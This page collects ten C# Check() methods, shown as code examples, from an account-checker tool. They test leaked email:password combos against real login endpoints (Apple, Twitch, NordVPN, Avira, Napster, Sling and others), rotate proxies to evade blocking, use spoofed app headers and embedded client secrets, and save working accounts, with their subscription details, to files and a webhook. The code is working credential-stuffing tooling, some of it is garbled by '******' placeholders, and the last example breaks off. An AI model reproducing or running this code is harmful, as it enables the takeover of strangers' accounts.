Beispiel #1
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            var cookies = new CookieStorage();
                            var token   = AppleGetToken(ref cookies);

                            req.UserAgent =
                                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36";
                            req.AddHeader("Content-Type", "application/x-www-form-urlencoded");
                            req.AddHeader("X-Requested-With", "XMLHttpRequest");
                            req.AddHeader("x-aos-model-page", "sentryLogin");
                            req.AddHeader("syntax", "graviton");
                            req.AddHeader("x-aos-stk", token);
                            req.AddHeader("modelVersion", "v2");
                            req.AddHeader("Accept", "*/*");
                            req.AddHeader("Sec-Fetch-Site", "same-origin");
                            req.AddHeader("Sec-Fetch-Mode", "cors");
                            req.AddHeader("Sec-Fetch-Dest", "empty");
                            req.Referer =
                                "https://secure4.store.apple.com/shop/sign_in?c=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ&r=SCDHYHP7CY4H9XK2H&s=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ";
                            req.Cookies = cookies;

                            var strResponse = req
                                              .Post(
                                new Uri(
                                    "https://secure4.store.apple.com/shop/sentryx/sign_in_crd?c=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ&r=SCDHYHP7CY4H9XK2H&s=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ&_a=customerLogin&_m=loginHome.customerLogin"),
                                new BytesContent(Encoding.Default.GetBytes(
                                                     $"loginHome.customerLogin.appleId={HttpUtility.UrlEncode(array[0])}&loginHome.customerLogin.password={array[1]}")))
                                              .ToString();

                            if (strResponse.Contains(
                                    "{\"head\":{\"status\":302,\"data\":{\"url\":\"https://www.apple.com/\"}},\"body\":{}}")
                                )
                            {
                                Program.Hits++;
                                Program.TotalChecks++;
                                Export.AsResult("/Apple_hits", array[0] + ":" + array[1]);
                                if (Program.lorc == "LOG")
                                {
                                    Settings.PrintHit("Apple", array[0] + ":" + array[1]);
                                }
                                if (Settings.sendToWebhook)
                                {
                                    Settings.sendTowebhook1(array[0] + ":" + array[1], "Apple Hits");
                                }
                            }
                            else if (strResponse.Contains("incorrect_appleid_password") ||
                                     strResponse.Contains("Your account information was entered incorrectly.") ||
                                     strResponse.Contains("reset_password_account_locked"))
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }
                            else
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                            req.Dispose();
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #2
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent =
                                "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Mobile Safari/537.36";
                            req.IgnoreProtocolErrors = true;
                            req.AllowAutoRedirect    = true;
                            var str = "grant_type=password&username="******"&password="******"https://togo.outbackonlineordering.com/api/account/login", str,
                                                 "application/x-www-form-urlencoded").ToString();
                            var flag7 = text2.Contains("access_token");

                            if (flag7)
                            {
                                Program.TotalChecks++;
                                Program.Hits++;
                                Export.AsResult("/Outbacksteakhouse_hits", array[0] + ":" + array[1]);
                                if (Program.lorc == "LOG")
                                {
                                    Settings.PrintHit("Outback", array[0] + ":" + array[1]);
                                }
                                if (Settings.sendToWebhook)
                                {
                                    Settings.sendTowebhook1(array[0] + ":" + array[1], "Outback Steak House Hits");
                                }
                            }
                            else
                            {
                                Program.TotalChecks++;
                                Program.Fails++;
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                            req.Dispose();
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #3
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent            = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
                            req.IgnoreProtocolErrors = true;
                            req.AllowAutoRedirect    = false;
                            req.AddHeader("Authorization",
                                          "Basic YXZpcmEvZGFzaGJvYXJkOjAyMjI4OWNjOTZhMTQwOTI4YWQ5ODNjNTJmYTRjYTNlMDZmODBkZDg5NjgwNGE0YmIxNDFkMDc2MjY2YTQ0OTA=");
                            req.AddHeader("Origin", "https://my.avira.com");
                            var str = "{\"grant_type\":\"password\",\"username\":\"" + array[0] + "\",\"password\":\"" +
                                      array[1] + "\"}";
                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            var strResponse = req.Post("https://api.my.avira.com/v2/oauth/", str, "application/json")
                                              .ToString();
                            {
                                if (strResponse.Contains("invalid_credentials"))
                                {
                                    Program.Fails++;
                                    Program.TotalChecks++;
                                }
                                else if (strResponse.Contains("device_token")) //hit
                                {
                                    Program.Hits++;
                                    Program.TotalChecks++;
                                    Export.AsResult("/Avira_hits", array[0] + ":" + array[1]);
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintHit("Avira", array[0] + ":" + array[1]);
                                    }
                                    if (Settings.sendToWebhook)
                                    {
                                        Settings.sendTowebhook1(array[0] + ":" + array[1], "Avira Hits");
                                    }
                                }
                                else
                                {
                                    Program.Fails++;
                                    Program.TotalChecks++;
                                }
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                            req.Dispose();
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #4
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            var capture = new StringBuilder();

                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.IgnoreProtocolErrors            = true;
                            req.AllowAutoRedirect               = false;
                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            req.AddHeader("Accept", "application/vnd.filmin.v1+json");
                            req.AddHeader("Cache-Control", "no-cache");
                            req.AddHeader("Accept-Encoding", "UTF-8");
                            req.AddHeader("X-Client-Identifier", "Android_v3.9.8_build101");
                            req.AddHeader("X-Client-Id", "j2Gal1ZDbCtdiRa9");
                            req.AddHeader("X-Client-Language", "es-ES");
                            req.AddHeader("Connection", "close");
                            req.AddHeader("User-Agent", "okhttp/3.8.0");

                            var res0 = req.Post("https://apiv3.filmin.es/oauth/access_token",
                                                "username="******"&client_id=j2Gal1ZDbCtdiRa9&client_secret=zPNBDTu01qXQHlqkNqK8iY8p7H8nmW7x&password="******"&grant_type=password", "application/x-www-form-urlencoded");
                            var text0 = res0.ToString();

                            switch (Convert.ToInt32(res0.StatusCode))
                            {
                            case 200:
                            {
                                var AT = JSON(text0, "access_token").FirstOrDefault();
                                req.AddHeader("Authorization", "Bearer " + AT + "");
                                req.AddHeader("Accept", "application/vnd.filmin.v1+json");
                                req.AddHeader("Cache-Control", "no-cache");
                                req.AddHeader("Accept-Encoding", "UTF-8");
                                req.AddHeader("X-Client-Identifier", "Android_v3.9.8_build101");
                                req.AddHeader("X-Client-Id", "j2Gal1ZDbCtdiRa9");
                                req.AddHeader("X-Client-Language", "es-ES");
                                req.AddHeader("Connection", "close");
                                req.AddHeader("User-Agent", "okhttp/3.8.0");

                                var res1  = req.Get("https://apiv3.filmin.es/user/");
                                var text1 = res1.ToString();

                                if (text1.Contains("subscriptions\":{\"data\":[]}"))
                                {
                                    Program.Frees++;
                                    Program.TotalChecks++;
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintFree("Flimin", array[0] + ":" + array[1]);
                                    }
                                    Export.AsResult("/Flimin_frees", array[0] + ":" + array[1] + " | " + capture);
                                }
                                else
                                {
                                    var Plan = JSON(text1, "name").FirstOrDefault();
                                    capture.Append(" | Plan = " + Plan);
                                    var ExpirationDate = JSON(text1, "expiration_date").FirstOrDefault();
                                    capture.Append(" | Expiration Date = " + ExpirationDate);
                                    Export.AsResult("/Flimin_hits", array[0] + ":" + array[1] + " | " + capture);
                                    Program.Hits++;
                                    Program.TotalChecks++;
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintHit("Flimin", array[0] + ":" + array[1]);
                                    }
                                    if (Settings.sendToWebhook)
                                    {
                                        Settings.sendTowebhook1(array[0] + ":" + array[1] + " | " + capture,
                                                                "Flimin hits");
                                    }
                                }

                                break;
                            }

                            case 401:
                                break;
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #5
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            var capture = new StringBuilder();

                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.IgnoreProtocolErrors = true;
                            req.UserAgent            = "Napster/3537 CFNetwork/1120 Darwin/19.0.0";
                            req.AddHeader("Host", "playback.rhapsody.com");
                            req.AddHeader("appId", "com.rhapsody.iphone.Rhapsody3");
                            req.AddHeader("appVersion", "6.5");
                            req.AddHeader("cpath", "app_iPad7_4");
                            req.AddHeader("deviceid", "4387508C-483B-479A-BBC1-E078269AE0S4");
                            req.AddHeader("ocode", "tablet_ios");
                            req.AddHeader("package_name", "com.rhapsody.iphone.Rhapsody3");
                            req.AddHeader("pcode", "tablet_ios");
                            req.AddHeader("playerType", "ios_6_5");
                            req.AddHeader("provisionedMCCMNC", "310+150");
                            req.AddHeader("rsrc", "ios_6.5");

                            var res = req.Post("https://playback.rhapsody.com/login.json",
                                               string.Concat("username="******"&password="******"&devicename=Elite%20Money&provisionedMCCMNC=310%2B150&package_name=com.rhapsody.iphone.Rhapsody3"),
                                               "application/x-www-form-urlencoded").ToString();

                            if (!res.Contains("INVALID_USERNAME_OR_PASSWORD"))
                            {
                                var text3 = Parse(res, "{\"accountType\":\"", "\"");
                                var text5 = Parse(res, "\"country\":\"", "\"");
                                Program.Hits++;
                                Program.TotalChecks++;
                                Export.AsResult("/Napster_hits",
                                                array[0] + ":" + array[1] + " | Sub: " + text3 + " | Country: " + text5);
                                if (Program.lorc == "LOG")
                                {
                                    Settings.PrintHit("Napster",
                                                      array[0] + ":" + array[1] + " | Sub: " + text3 + " | Country: " + text5);
                                }
                                if (Settings.sendToWebhook)
                                {
                                    Settings.sendTowebhook1(array[0] + ":" + array[1], "Napster Hits");
                                }
                            }
                            else
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #6
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent                        = "NordApp android (playstore/2.8.6) Android 9.0.0";
                            req.IgnoreProtocolErrors             = true;
                            req.AllowAutoRedirect                = false;
                            req.SslCertificateValidatorCallback += (obj, cert, ssl, error) =>
                                                                   (cert as X509Certificate2).Verify();
                            var input = req.Post("https://api.nordvpn.com/v1/users/tokens",
                                                 "{\"username\":\"" + array[0] + "\",\"password\":\"" + array[1] + "\"}",
                                                 "application/json").ToString();
                            if (input.Contains("user_id\":"))
                            {
                                var str1 = Base64Encode("token:" +
                                                        Regex.Match(input, "token\":\"(.*?)\"").Groups[1].Value);
                                req.Authorization = "Basic " + str1;
                                var str2 = req.Get("https://zwyr157wwiu6eior.com/v1/users/services").ToString();
                                var str3 = "Expiration Date: ";
                                if (str2.Contains("expires_at"))
                                {
                                    foreach (var jtoken in (JArray)JsonConvert.DeserializeObject(str2))
                                    {
                                        if ((string)jtoken["service"]["name"] == "VPN")
                                        {
                                            if (DateTime.UtcNow < DateTime.ParseExact(
                                                    jtoken["expires_at"].ToString().Split(' ')[0], "yyyy-MM-dd",
                                                    CultureInfo.InvariantCulture))
                                            {
                                                str3 = "Expiration Date: " +
                                                       jtoken["expires_at"].ToString().Split(' ')[0];
                                            }
                                            else
                                            {
                                                str3 = "Expired";
                                            }
                                        }
                                    }
                                }

                                if (str3 != "Expired")
                                {
                                    Program.Hits++;
                                    Program.TotalChecks++;
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintHit("Nordvpn", array[0] + ":" + array[1] + " | " + str3);
                                    }
                                    Export.AsResult("/Nordvpn_hits", array[0] + ":" + array[1] + " | " + str3);
                                    if (Settings.sendToWebhook)
                                    {
                                        Settings.sendTowebhook1(array[0] + ":" + array[1] + " | " + str3, "Nordvpn");
                                    }
                                }

                                Program.Frees++;
                                Program.TotalChecks++;
                                Export.AsResult("/Nordvpn_frees", array[0] + ":" + array[1]);
                                if (Program.lorc == "LOG")
                                {
                                    Settings.PrintFree("Nordvpn", array[0] + ":" + array[1]);
                                }
                                if (Settings.sendToWebhook)
                                {
                                    Settings.sendTowebhook1(array[0] + ":" + array[1], "Nordvpn Free");
                                }
                            }

                            if (input.Contains("code\":101301"))
                            {
                                if (input.Contains("message\":\"Unauthorized"))
                                {
                                    Program.Fails++;
                                }
                                Program.TotalChecks++;
                            }
                            else
                            {
                                Program.Combos.Add(text);
                                req.Dispose();
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #7
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent            = " Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
                            req.IgnoreProtocolErrors = true;
                            req.AllowAutoRedirect    = true;
                            var str = "Username="******"&Password="******"https://xvpn.io/?n=best.free.xvpn.LoginAction", str,
                                                 "application/x-www-form-urlencoded").ToString();

                            if (text2.Contains(
                                    "{\"type\":\"redirect\",\"msg\":\"\",\"url\":\"/?n=best.free.xvpn.AccountPage\"}"))
                            {
                                req.AddHeader("authority", " xvpn.io");
                                req.AddHeader("path", "/?n=best.free.xvpn.AccountPage");
                                req.AddHeader("upgrade-insecure-requests", " 1");
                                var text3 = req.Get("https://xvpn.io/?n=best.free.xvpn.AccountPage").ToString();
                                if (text3.Contains("Your account does not have an active premium."))
                                {
                                    Program.Frees++;
                                    Program.TotalChecks++;
                                    Export.AsResult("/Xvpn_frees", array[0] + ":" + array[1]);
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintFree("Xcams", array[0] + ":" + array[1]);
                                    }
                                }
                                else
                                {
                                    Program.Hits++;
                                    Program.TotalChecks++;
                                    Export.AsResult("/Xvpn_hits", array[0] + ":" + array[1]);
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintHit("Xvpn", array[0] + ":" + array[1]);
                                    }
                                    if (Settings.sendToWebhook)
                                    {
                                        Settings.sendTowebhook1(array[0] + ":" + array[1], "Xvpn Hits");
                                    }
                                }
                            }
                            else
                            {
                                if (text2.Contains("This email doesn't exist, try another?") ||
                                    text2.Contains("The password is incorrect"))
                                {
                                    Program.Fails++;
                                    Program.TotalChecks++;
                                }
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #8
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent =
                                "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) twitch-desktop-electron-platform/1.0.0 Chrome/78.0.3904.130 Electron/7.3.1 Safari/537.36 desklight/8.56.1";
                            req.IgnoreProtocolErrors = true;
                            req.AllowAutoRedirect    = true;
                            req.Referer = "https://www.twitch.tv/";
                            req.AddHeader("Content-Type", "text/plain;charset=UTF-8");
                            var str = "{\"username\":\"" + array[0] + "\",\"password\":\"" + array[1] +
                                      "\",\"client_id\":\"jf3xu125ejjjt5cl4osdjci6oz6p93r\",\"undelete_user\":false}";
                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            var text2 = req.Post("https://passport.twitch.tv/login", str,
                                                 "application/x-www-form-urlencoded").ToString();
                            var flag7 = text2.Contains("\"access_token\"");

                            if (flag7)
                            {
                                var accessToken = Regex.Match(text2, "{\"access_token\":\"(.*?)\"").Groups[1].Value;

                                var captures = TwitchGetCaptures(accessToken);

                                Program.Hits++;
                                Program.TotalChecks++;
                                Export.AsResult("/Twitch_hits", array[0] + ":" + array[1] + " | " + captures);
                                if (Program.lorc == "LOG")
                                {
                                    Settings.PrintHit("Twitch", array[0] + ":" + array[1] + " | " + captures);
                                }
                                if (Settings.sendToWebhook)
                                {
                                    Settings.sendTowebhook1(array[0] + ":" + array[1] + " | " + captures,
                                                            "Twitch Hits");
                                }
                            }
                            else if (text2.Contains("missing authy token\",\"sms_proof\"") ||
                                     text2.Contains("user needs password reset") ||
                                     text2.Contains("missing twitchguard code") ||
                                     text2.Contains("Please enter a Login Verification Code"))
                            {
                                Program.Frees++;
                                Program.TotalChecks++;
                                Export.AsResult("/Twitch_frees", array[0] + ":" + array[1]);
                                if (Program.lorc == "LOG")
                                {
                                    Settings.PrintFree("Twitch", array[0] + ":" + array[1]);
                                }
                            }
                            else
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #9
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent            = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
                            req.IgnoreProtocolErrors = true;
                            req.AllowAutoRedirect    = true;
                            var str = "{\"username\":\"" + array[0] + "\",\"password\":\"" + array[1] +
                                      "\",\"clientId\":\"ott_agentless_idp_client\"}";
                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            var strResponse =
                                req.Post("https://ms.p.sling.com/sling-api/oauth-helper/alpha/authenticate", str,
                                         "application/json").ToString();
                            {
                                if (strResponse.Contains("Invalid User Credentials"))
                                {
                                    Program.Fails++;
                                    Program.TotalChecks++;
                                }
                                else if (strResponse.Contains("refId")) //hit
                                {
                                    Program.Hits++;
                                    Program.TotalChecks++;
                                    Export.AsResult("/SlingTV_hits", array[0] + ":" + array[1]);
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintHit("SlingTV", array[0] + ":" + array[1]);
                                    }
                                    if (Settings.sendToWebhook)
                                    {
                                        Settings.sendTowebhook1(array[0] + ":" + array[1], "SlingTV Hits");
                                    }
                                }
                                else
                                {
                                    Program.Fails++;
                                    Program.TotalChecks++;
                                }
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                            req.Dispose();
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #10
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            //---
